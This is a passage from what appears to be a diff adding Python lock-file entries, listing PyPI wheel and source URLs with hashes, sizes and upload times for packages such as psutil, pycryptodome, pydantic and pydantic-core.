"https://files.pythonhosted.org/packages/37/d6/246513fbf9fa174af531f28412297dd05241d97a75911ac8febefa1a53c6/psutil-7.2.2-cp313-cp313t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1a571f2330c966c62aeda00dd24620425d4b0cc86881c89861fbc04549e5dc63", size = 181476, upload-time = "2026-01-28T18:15:01.884Z" }, + { url = "https://files.pythonhosted.org/packages/b8/b5/9182c9af3836cca61696dabe4fd1304e17bc56cb62f17439e1154f225dd3/psutil-7.2.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:917e891983ca3c1887b4ef36447b1e0873e70c933afc831c6b6da078ba474312", size = 184062, upload-time = "2026-01-28T18:15:04.436Z" }, + { url = "https://files.pythonhosted.org/packages/16/ba/0756dca669f5a9300d0cbcbfae9a4c30e446dfc7440ffe43ded5724bfd93/psutil-7.2.2-cp313-cp313t-win_amd64.whl", hash = "sha256:ab486563df44c17f5173621c7b198955bd6b613fb87c71c161f827d3fb149a9b", size = 139893, upload-time = "2026-01-28T18:15:06.378Z" }, + { url = "https://files.pythonhosted.org/packages/1c/61/8fa0e26f33623b49949346de05ec1ddaad02ed8ba64af45f40a147dbfa97/psutil-7.2.2-cp313-cp313t-win_arm64.whl", hash = "sha256:ae0aefdd8796a7737eccea863f80f81e468a1e4cf14d926bd9b6f5f2d5f90ca9", size = 135589, upload-time = "2026-01-28T18:15:08.03Z" }, + { url = "https://files.pythonhosted.org/packages/81/69/ef179ab5ca24f32acc1dac0c247fd6a13b501fd5534dbae0e05a1c48b66d/psutil-7.2.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:eed63d3b4d62449571547b60578c5b2c4bcccc5387148db46e0c2313dad0ee00", size = 130664, upload-time = "2026-01-28T18:15:09.469Z" }, + { url = "https://files.pythonhosted.org/packages/7b/64/665248b557a236d3fa9efc378d60d95ef56dd0a490c2cd37dafc7660d4a9/psutil-7.2.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7b6d09433a10592ce39b13d7be5a54fbac1d1228ed29abc880fb23df7cb694c9", size = 131087, upload-time = "2026-01-28T18:15:11.724Z" }, + { url = "https://files.pythonhosted.org/packages/d5/2e/e6782744700d6759ebce3043dcfa661fb61e2fb752b91cdeae9af12c2178/psutil-7.2.2-cp314-cp314t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fa4ecf83bcdf6e6c8f4449aff98eefb5d0604bf88cb883d7da3d8d2d909546a", size = 182383, upload-time = "2026-01-28T18:15:13.445Z" }, + { url = "https://files.pythonhosted.org/packages/57/49/0a41cefd10cb7505cdc04dab3eacf24c0c2cb158a998b8c7b1d27ee2c1f5/psutil-7.2.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e452c464a02e7dc7822a05d25db4cde564444a67e58539a00f929c51eddda0cf", size = 185210, upload-time = "2026-01-28T18:15:16.002Z" }, + { url = "https://files.pythonhosted.org/packages/dd/2c/ff9bfb544f283ba5f83ba725a3c5fec6d6b10b8f27ac1dc641c473dc390d/psutil-7.2.2-cp314-cp314t-win_amd64.whl", hash = "sha256:c7663d4e37f13e884d13994247449e9f8f574bc4655d509c3b95e9ec9e2b9dc1", size = 141228, upload-time = "2026-01-28T18:15:18.385Z" }, + { url = "https://files.pythonhosted.org/packages/f2/fc/f8d9c31db14fcec13748d373e668bc3bed94d9077dbc17fb0eebc073233c/psutil-7.2.2-cp314-cp314t-win_arm64.whl", hash = "sha256:11fe5a4f613759764e79c65cf11ebdf26e33d6dd34336f8a337aa2996d71c841", size = 136284, upload-time = "2026-01-28T18:15:19.912Z" }, + { url = "https://files.pythonhosted.org/packages/e7/36/5ee6e05c9bd427237b11b3937ad82bb8ad2752d72c6969314590dd0c2f6e/psutil-7.2.2-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:ed0cace939114f62738d808fdcecd4c869222507e266e574799e9c0faa17d486", size = 129090, upload-time = "2026-01-28T18:15:22.168Z" }, + { url = "https://files.pythonhosted.org/packages/80/c4/f5af4c1ca8c1eeb2e92ccca14ce8effdeec651d5ab6053c589b074eda6e1/psutil-7.2.2-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:1a7b04c10f32cc88ab39cbf606e117fd74721c831c98a27dc04578deb0c16979", size = 129859, upload-time = "2026-01-28T18:15:23.795Z" }, + { url = "https://files.pythonhosted.org/packages/b5/70/5d8df3b09e25bce090399cf48e452d25c935ab72dad19406c77f4e828045/psutil-7.2.2-cp36-abi3-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:076a2d2f923fd4821644f5ba89f059523da90dc9014e85f8e45a5774ca5bc6f9", size = 155560, upload-time = "2026-01-28T18:15:25.976Z" }, + { url = "https://files.pythonhosted.org/packages/63/65/37648c0c158dc222aba51c089eb3bdfa238e621674dc42d48706e639204f/psutil-7.2.2-cp36-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0726cecd84f9474419d67252add4ac0cd9811b04d61123054b9fb6f57df6e9e", size = 156997, upload-time = "2026-01-28T18:15:27.794Z" }, + { url = "https://files.pythonhosted.org/packages/8e/13/125093eadae863ce03c6ffdbae9929430d116a246ef69866dad94da3bfbc/psutil-7.2.2-cp36-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:fd04ef36b4a6d599bbdb225dd1d3f51e00105f6d48a28f006da7f9822f2606d8", size = 148972, upload-time = "2026-01-28T18:15:29.342Z" }, + { url = "https://files.pythonhosted.org/packages/04/78/0acd37ca84ce3ddffaa92ef0f571e073faa6d8ff1f0559ab1272188ea2be/psutil-7.2.2-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b58fabe35e80b264a4e3bb23e6b96f9e45a3df7fb7eed419ac0e5947c61e47cc", size = 148266, upload-time = "2026-01-28T18:15:31.597Z" }, + { url = "https://files.pythonhosted.org/packages/b4/90/e2159492b5426be0c1fef7acba807a03511f97c5f86b3caeda6ad92351a7/psutil-7.2.2-cp37-abi3-win_amd64.whl", hash = "sha256:eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988", size = 137737, upload-time = "2026-01-28T18:15:33.849Z" }, + { url = "https://files.pythonhosted.org/packages/8c/c7/7bb2e321574b10df20cbde462a94e2b71d05f9bbda251ef27d104668306a/psutil-7.2.2-cp37-abi3-win_arm64.whl", hash = "sha256:8c233660f575a5a89e6d4cb65d9f938126312bca76d8fe087b947b3a1aaac9ee", size = 134617, upload-time = "2026-01-28T18:15:36.514Z" }, +] + +[[package]] +name = "ptyprocess" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/20/e5/16ff212c1e452235a90aeb09066144d0c5a6a8c0834397e03f5224495c4e/ptyprocess-0.7.0.tar.gz", hash = "sha256:5c5d0a3b48ceee0b48485e0c26037c0acd7d29765ca3fbb5cb3831d347423220", size = 70762, upload-time = "2020-12-28T15:15:30.155Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/22/a6/858897256d0deac81a172289110f31629fc4cee19b6f01283303e18c8db3/ptyprocess-0.7.0-py2.py3-none-any.whl", hash = "sha256:4b41f3967fce3af57cc7e94b888626c18bf37a083e3651ca8feeb66d492fef35", size = 13993, upload-time = "2020-12-28T15:15:28.35Z" }, +] + +[[package]] +name = "puremagic" +version = "1.30" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/dd/7f/9998706bc516bdd664ccf929a1da6c6e5ee06e48f723ce45aae7cf3ff36e/puremagic-1.30.tar.gz", hash = "sha256:f9ff7ac157d54e9cf3bff1addfd97233548e75e685282d84ae11e7ffee1614c9", size = 314785, upload-time = "2025-07-04T18:48:36.061Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/91/ed/1e347d85d05b37a8b9a039ca832e5747e1e5248d0bd66042783ef48b4a37/puremagic-1.30-py3-none-any.whl", hash = "sha256:5eeeb2dd86f335b9cfe8e205346612197af3500c6872dffebf26929f56e9d3c1", size = 43304, upload-time = "2025-07-04T18:48:34.801Z" }, +] + +[[package]] +name = "py-cpuinfo" +version = "9.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/37/a8/d832f7293ebb21690860d2e01d8115e5ff6f2ae8bbdc953f0eb0fa4bd2c7/py-cpuinfo-9.0.0.tar.gz", hash = "sha256:3cdbbf3fac90dc6f118bfd64384f309edeadd902d7c8fb17f02ffa1fc3f49690", size = 104716, upload-time = "2022-10-25T20:38:06.303Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e0/a9/023730ba63db1e494a271cb018dcd361bd2c917ba7004c3e49d5daf795a2/py_cpuinfo-9.0.0-py3-none-any.whl", hash = "sha256:859625bc251f64e21f077d099d4162689c762b5d6a4c3c97553d56241c9674d5", size = 22335, upload-time = "2022-10-25T20:38:27.636Z" }, +] + +[[package]] +name = "pycparser" +version = "3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1b/7d/92392ff7815c21062bea51aa7b87d45576f649f16458d78b7cf94b9ab2e6/pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29", size = 103492, upload-time = "2026-01-21T14:26:51.89Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", size = 48172, upload-time = "2026-01-21T14:26:50.693Z" }, +] + +[[package]] +name = "pycryptodome" +version = "3.23.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8e/a6/8452177684d5e906854776276ddd34eca30d1b1e15aa1ee9cefc289a33f5/pycryptodome-3.23.0.tar.gz", hash = "sha256:447700a657182d60338bab09fdb27518f8856aecd80ae4c6bdddb67ff5da44ef", size = 4921276, upload-time = "2025-05-17T17:21:45.242Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/5d/bdb09489b63cd34a976cc9e2a8d938114f7a53a74d3dd4f125ffa49dce82/pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:0011f7f00cdb74879142011f95133274741778abba114ceca229adbf8e62c3e4", size = 2495152, upload-time = "2025-05-17T17:20:20.833Z" }, + { url = "https://files.pythonhosted.org/packages/a7/ce/7840250ed4cc0039c433cd41715536f926d6e86ce84e904068eb3244b6a6/pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:90460fc9e088ce095f9ee8356722d4f10f86e5be06e2354230a9880b9c549aae", size = 1639348, upload-time = "2025-05-17T17:20:23.171Z" }, + { url = "https://files.pythonhosted.org/packages/ee/f0/991da24c55c1f688d6a3b5a11940567353f74590734ee4a64294834ae472/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4764e64b269fc83b00f682c47443c2e6e85b18273712b98aa43bcb77f8570477", size = 2184033, upload-time = "2025-05-17T17:20:25.424Z" }, + { url = "https://files.pythonhosted.org/packages/54/16/0e11882deddf00f68b68dd4e8e442ddc30641f31afeb2bc25588124ac8de/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eb8f24adb74984aa0e5d07a2368ad95276cf38051fe2dc6605cbcf482e04f2a7", size = 2270142, upload-time = "2025-05-17T17:20:27.808Z" }, + { url = "https://files.pythonhosted.org/packages/d5/fc/4347fea23a3f95ffb931f383ff28b3f7b1fe868739182cb76718c0da86a1/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d97618c9c6684a97ef7637ba43bdf6663a2e2e77efe0f863cce97a76af396446", size = 2309384, upload-time = "2025-05-17T17:20:30.765Z" }, + { url = "https://files.pythonhosted.org/packages/6e/d9/c5261780b69ce66d8cfab25d2797bd6e82ba0241804694cd48be41add5eb/pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9a53a4fe5cb075075d515797d6ce2f56772ea7e6a1e5e4b96cf78a14bac3d265", size = 2183237, upload-time = "2025-05-17T17:20:33.736Z" }, + { url = "https://files.pythonhosted.org/packages/5a/6f/3af2ffedd5cfa08c631f89452c6648c4d779e7772dfc388c77c920ca6bbf/pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:763d1d74f56f031788e5d307029caef067febf890cd1f8bf61183ae142f1a77b", size = 2343898, upload-time = "2025-05-17T17:20:36.086Z" }, + { url = "https://files.pythonhosted.org/packages/9a/dc/9060d807039ee5de6e2f260f72f3d70ac213993a804f5e67e0a73a56dd2f/pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:954af0e2bd7cea83ce72243b14e4fb518b18f0c1649b576d114973e2073b273d", size = 2269197, upload-time = "2025-05-17T17:20:38.414Z" }, + { url = "https://files.pythonhosted.org/packages/f9/34/e6c8ca177cb29dcc4967fef73f5de445912f93bd0343c9c33c8e5bf8cde8/pycryptodome-3.23.0-cp313-cp313t-win32.whl", hash = "sha256:257bb3572c63ad8ba40b89f6fc9d63a2a628e9f9708d31ee26560925ebe0210a", size = 1768600, upload-time = "2025-05-17T17:20:40.688Z" }, + { url = "https://files.pythonhosted.org/packages/e4/1d/89756b8d7ff623ad0160f4539da571d1f594d21ee6d68be130a6eccb39a4/pycryptodome-3.23.0-cp313-cp313t-win_amd64.whl", hash = "sha256:6501790c5b62a29fcb227bd6b62012181d886a767ce9ed03b303d1f22eb5c625", size = 1799740, upload-time = "2025-05-17T17:20:42.413Z" }, + { url = "https://files.pythonhosted.org/packages/5d/61/35a64f0feaea9fd07f0d91209e7be91726eb48c0f1bfc6720647194071e4/pycryptodome-3.23.0-cp313-cp313t-win_arm64.whl", hash = "sha256:9a77627a330ab23ca43b48b130e202582e91cc69619947840ea4d2d1be21eb39", size = 1703685, upload-time = "2025-05-17T17:20:44.388Z" }, + { url = "https://files.pythonhosted.org/packages/db/6c/a1f71542c969912bb0e106f64f60a56cc1f0fabecf9396f45accbe63fa68/pycryptodome-3.23.0-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:187058ab80b3281b1de11c2e6842a357a1f71b42cb1e15bce373f3d238135c27", size = 2495627, upload-time = "2025-05-17T17:20:47.139Z" }, + { url = "https://files.pythonhosted.org/packages/6e/4e/a066527e079fc5002390c8acdd3aca431e6ea0a50ffd7201551175b47323/pycryptodome-3.23.0-cp37-abi3-macosx_10_9_x86_64.whl", hash = "sha256:cfb5cd445280c5b0a4e6187a7ce8de5a07b5f3f897f235caa11f1f435f182843", size = 1640362, upload-time = "2025-05-17T17:20:50.392Z" }, + { url = "https://files.pythonhosted.org/packages/50/52/adaf4c8c100a8c49d2bd058e5b551f73dfd8cb89eb4911e25a0c469b6b4e/pycryptodome-3.23.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67bd81fcbe34f43ad9422ee8fd4843c8e7198dd88dd3d40e6de42ee65fbe1490", size = 2182625, upload-time = "2025-05-17T17:20:52.866Z" }, + { url = "https://files.pythonhosted.org/packages/5f/e9/a09476d436d0ff1402ac3867d933c61805ec2326c6ea557aeeac3825604e/pycryptodome-3.23.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c8987bd3307a39bc03df5c8e0e3d8be0c4c3518b7f044b0f4c15d1aa78f52575", size = 2268954, upload-time = "2025-05-17T17:20:55.027Z" }, + { url = "https://files.pythonhosted.org/packages/f9/c5/ffe6474e0c551d54cab931918127c46d70cab8f114e0c2b5a3c071c2f484/pycryptodome-3.23.0-cp37-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:aa0698f65e5b570426fc31b8162ed4603b0c2841cbb9088e2b01641e3065915b", size = 2308534, upload-time = "2025-05-17T17:20:57.279Z" }, + { url = "https://files.pythonhosted.org/packages/18/28/e199677fc15ecf43010f2463fde4c1a53015d1fe95fb03bca2890836603a/pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:53ecbafc2b55353edcebd64bf5da94a2a2cdf5090a6915bcca6eca6cc452585a", size = 2181853, upload-time = "2025-05-17T17:20:59.322Z" }, + { url = "https://files.pythonhosted.org/packages/ce/ea/4fdb09f2165ce1365c9eaefef36625583371ee514db58dc9b65d3a255c4c/pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_i686.whl", hash = "sha256:156df9667ad9f2ad26255926524e1c136d6664b741547deb0a86a9acf5ea631f", size = 2342465, upload-time = "2025-05-17T17:21:03.83Z" }, + { url = "https://files.pythonhosted.org/packages/22/82/6edc3fc42fe9284aead511394bac167693fb2b0e0395b28b8bedaa07ef04/pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:dea827b4d55ee390dc89b2afe5927d4308a8b538ae91d9c6f7a5090f397af1aa", size = 2267414, upload-time = "2025-05-17T17:21:06.72Z" }, + { url = "https://files.pythonhosted.org/packages/59/fe/aae679b64363eb78326c7fdc9d06ec3de18bac68be4b612fc1fe8902693c/pycryptodome-3.23.0-cp37-abi3-win32.whl", hash = "sha256:507dbead45474b62b2bbe318eb1c4c8ee641077532067fec9c1aa82c31f84886", size = 1768484, upload-time = "2025-05-17T17:21:08.535Z" }, + { url = "https://files.pythonhosted.org/packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl", hash = "sha256:c75b52aacc6c0c260f204cbdd834f76edc9fb0d8e0da9fbf8352ef58202564e2", size = 1799636, upload-time = "2025-05-17T17:21:10.393Z" }, + { url = "https://files.pythonhosted.org/packages/18/3d/f9441a0d798bf2b1e645adc3265e55706aead1255ccdad3856dbdcffec14/pycryptodome-3.23.0-cp37-abi3-win_arm64.whl", hash = "sha256:11eeeb6917903876f134b56ba11abe95c0b0fd5e3330def218083c7d98bbcb3c", size = 1703675, upload-time = "2025-05-17T17:21:13.146Z" }, + { url = "https://files.pythonhosted.org/packages/d9/12/e33935a0709c07de084d7d58d330ec3f4daf7910a18e77937affdb728452/pycryptodome-3.23.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ddb95b49df036ddd264a0ad246d1be5b672000f12d6961ea2c267083a5e19379", size = 1623886, upload-time = "2025-05-17T17:21:20.614Z" }, + { url = "https://files.pythonhosted.org/packages/22/0b/aa8f9419f25870889bebf0b26b223c6986652bdf071f000623df11212c90/pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8e95564beb8782abfd9e431c974e14563a794a4944c29d6d3b7b5ea042110b4", size = 1672151, upload-time = "2025-05-17T17:21:22.666Z" }, + { url = "https://files.pythonhosted.org/packages/d4/5e/63f5cbde2342b7f70a39e591dbe75d9809d6338ce0b07c10406f1a140cdc/pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:14e15c081e912c4b0d75632acd8382dfce45b258667aa3c67caf7a4d4c13f630", size = 1664461, upload-time = "2025-05-17T17:21:25.225Z" }, + { url = "https://files.pythonhosted.org/packages/d6/92/608fbdad566ebe499297a86aae5f2a5263818ceeecd16733006f1600403c/pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a7fc76bf273353dc7e5207d172b83f569540fc9a28d63171061c42e361d22353", size = 1702440, upload-time = "2025-05-17T17:21:27.991Z" }, + { url = "https://files.pythonhosted.org/packages/d1/92/2eadd1341abd2989cce2e2740b4423608ee2014acb8110438244ee97d7ff/pycryptodome-3.23.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:45c69ad715ca1a94f778215a11e66b7ff989d792a4d63b68dc586a1da1392ff5", size = 1803005, upload-time = "2025-05-17T17:21:31.37Z" }, +] + +[[package]] +name = "pydantic" +version = "2.12.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-types" }, + { name = "pydantic-core" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/69/44/36f1a6e523abc58ae5f928898e4aca2e0ea509b5aa6f6f392a5d882be928/pydantic-2.12.5.tar.gz", hash = "sha256:4d351024c75c0f085a9febbb665ce8c0c6ec5d30e903bdb6394b7ede26aebb49", size = 821591, upload-time = "2025-11-26T15:11:46.471Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5a/87/b70ad306ebb6f9b585f114d0ac2137d792b48be34d732d60e597c2f8465a/pydantic-2.12.5-py3-none-any.whl", hash = "sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f221ad1f0139180f9d", size = 463580, upload-time = "2025-11-26T15:11:44.605Z" }, +] + +[[package]] +name = "pydantic-core" +version = "2.41.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/71/70/23b021c950c2addd24ec408e9ab05d59b035b39d97cdc1130e1bce647bb6/pydantic_core-2.41.5.tar.gz", hash = "sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e", size = 460952, upload-time = "2025-11-04T13:43:49.098Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c6/90/32c9941e728d564b411d574d8ee0cf09b12ec978cb22b294995bae5549a5/pydantic_core-2.41.5-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:77b63866ca88d804225eaa4af3e664c5faf3568cea95360d21f4725ab6e07146", size = 2107298, upload-time = "2025-11-04T13:39:04.116Z" }, + { url = "https://files.pythonhosted.org/packages/fb/a8/61c96a77fe28993d9a6fb0f4127e05430a267b235a124545d79fea46dd65/pydantic_core-2.41.5-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:dfa8a0c812ac681395907e71e1274819dec685fec28273a28905df579ef137e2", size = 1901475, upload-time = "2025-11-04T13:39:06.055Z" }, + { url = "https://files.pythonhosted.org/packages/5d/b6/338abf60225acc18cdc08b4faef592d0310923d19a87fba1faf05af5346e/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5921a4d3ca3aee735d9fd163808f5e8dd6c6972101e4adbda9a4667908849b97", size = 1918815, upload-time = "2025-11-04T13:39:10.41Z" }, + { url = "https://files.pythonhosted.org/packages/d1/1c/2ed0433e682983d8e8cba9c8d8ef274d4791ec6a6f24c58935b90e780e0a/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e25c479382d26a2a41b7ebea1043564a937db462816ea07afa8a44c0866d52f9", size = 2065567, upload-time = "2025-11-04T13:39:12.244Z" }, + { url = "https://files.pythonhosted.org/packages/b3/24/cf84974ee7d6eae06b9e63289b7b8f6549d416b5c199ca2d7ce13bbcf619/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f547144f2966e1e16ae626d8ce72b4cfa0caedc7fa28052001c94fb2fcaa1c52", size = 2230442, upload-time = "2025-11-04T13:39:13.962Z" }, + { url = "https://files.pythonhosted.org/packages/fd/21/4e287865504b3edc0136c89c9c09431be326168b1eb7841911cbc877a995/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f52298fbd394f9ed112d56f3d11aabd0d5bd27beb3084cc3d8ad069483b8941", size = 2350956, upload-time = "2025-11-04T13:39:15.889Z" }, + { url = "https://files.pythonhosted.org/packages/a8/76/7727ef2ffa4b62fcab916686a68a0426b9b790139720e1934e8ba797e238/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:100baa204bb412b74fe285fb0f3a385256dad1d1879f0a5cb1499ed2e83d132a", size = 2068253, upload-time = "2025-11-04T13:39:17.403Z" }, + { url = "https://files.pythonhosted.org/packages/d5/8c/a4abfc79604bcb4c748e18975c44f94f756f08fb04218d5cb87eb0d3a63e/pydantic_core-2.41.5-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:05a2c8852530ad2812cb7914dc61a1125dc4e06252ee98e5638a12da6cc6fb6c", size = 2177050, upload-time = "2025-11-04T13:39:19.351Z" }, + { url = "https://files.pythonhosted.org/packages/67/b1/de2e9a9a79b480f9cb0b6e8b6ba4c50b18d4e89852426364c66aa82bb7b3/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:29452c56df2ed968d18d7e21f4ab0ac55e71dc59524872f6fc57dcf4a3249ed2", size = 2147178, upload-time = "2025-11-04T13:39:21Z" }, + { url = "https://files.pythonhosted.org/packages/16/c1/dfb33f837a47b20417500efaa0378adc6635b3c79e8369ff7a03c494b4ac/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:d5160812ea7a8a2ffbe233d8da666880cad0cbaf5d4de74ae15c313213d62556", size = 2341833, upload-time = "2025-11-04T13:39:22.606Z" }, + { url = "https://files.pythonhosted.org/packages/47/36/00f398642a0f4b815a9a558c4f1dca1b4020a7d49562807d7bc9ff279a6c/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:df3959765b553b9440adfd3c795617c352154e497a4eaf3752555cfb5da8fc49", size = 2321156, upload-time = "2025-11-04T13:39:25.843Z" }, + { url = "https://files.pythonhosted.org/packages/7e/70/cad3acd89fde2010807354d978725ae111ddf6d0ea46d1ea1775b5c1bd0c/pydantic_core-2.41.5-cp310-cp310-win32.whl", hash = "sha256:1f8d33a7f4d5a7889e60dc39856d76d09333d8a6ed0f5f1190635cbec70ec4ba", size = 1989378, upload-time = "2025-11-04T13:39:27.92Z" }, + { url = "https://files.pythonhosted.org/packages/76/92/d338652464c6c367e5608e4488201702cd1cbb0f33f7b6a85a60fe5f3720/pydantic_core-2.41.5-cp310-cp310-win_amd64.whl", hash = "sha256:62de39db01b8d593e45871af2af9e497295db8d73b085f6bfd0b18c83c70a8f9", size = 2013622, upload-time = "2025-11-04T13:39:29.848Z" }, + { url = "https://files.pythonhosted.org/packages/e8/72/74a989dd9f2084b3d9530b0915fdda64ac48831c30dbf7c72a41a5232db8/pydantic_core-2.41.5-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:a3a52f6156e73e7ccb0f8cced536adccb7042be67cb45f9562e12b319c119da6", size = 2105873, upload-time = "2025-11-04T13:39:31.373Z" }, + { url = "https://files.pythonhosted.org/packages/12/44/37e403fd9455708b3b942949e1d7febc02167662bf1a7da5b78ee1ea2842/pydantic_core-2.41.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7f3bf998340c6d4b0c9a2f02d6a400e51f123b59565d74dc60d252ce888c260b", size = 1899826, upload-time = "2025-11-04T13:39:32.897Z" }, + { url = "https://files.pythonhosted.org/packages/33/7f/1d5cab3ccf44c1935a359d51a8a2a9e1a654b744b5e7f80d41b88d501eec/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:378bec5c66998815d224c9ca994f1e14c0c21cb95d2f52b6021cc0b2a58f2a5a", size = 1917869, upload-time = "2025-11-04T13:39:34.469Z" }, + { url = "https://files.pythonhosted.org/packages/6e/6a/30d94a9674a7fe4f4744052ed6c5e083424510be1e93da5bc47569d11810/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e7b576130c69225432866fe2f4a469a85a54ade141d96fd396dffcf607b558f8", size = 2063890, upload-time = "2025-11-04T13:39:36.053Z" }, + { url = "https://files.pythonhosted.org/packages/50/be/76e5d46203fcb2750e542f32e6c371ffa9b8ad17364cf94bb0818dbfb50c/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6cb58b9c66f7e4179a2d5e0f849c48eff5c1fca560994d6eb6543abf955a149e", size = 2229740, upload-time = "2025-11-04T13:39:37.753Z" }, + { url = "https://files.pythonhosted.org/packages/d3/ee/fed784df0144793489f87db310a6bbf8118d7b630ed07aa180d6067e653a/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:88942d3a3dff3afc8288c21e565e476fc278902ae4d6d134f1eeda118cc830b1", size = 2350021, upload-time = "2025-11-04T13:39:40.94Z" }, + { url = "https://files.pythonhosted.org/packages/c8/be/8fed28dd0a180dca19e72c233cbf58efa36df055e5b9d90d64fd1740b828/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f31d95a179f8d64d90f6831d71fa93290893a33148d890ba15de25642c5d075b", size = 2066378, upload-time = "2025-11-04T13:39:42.523Z" }, + { url = 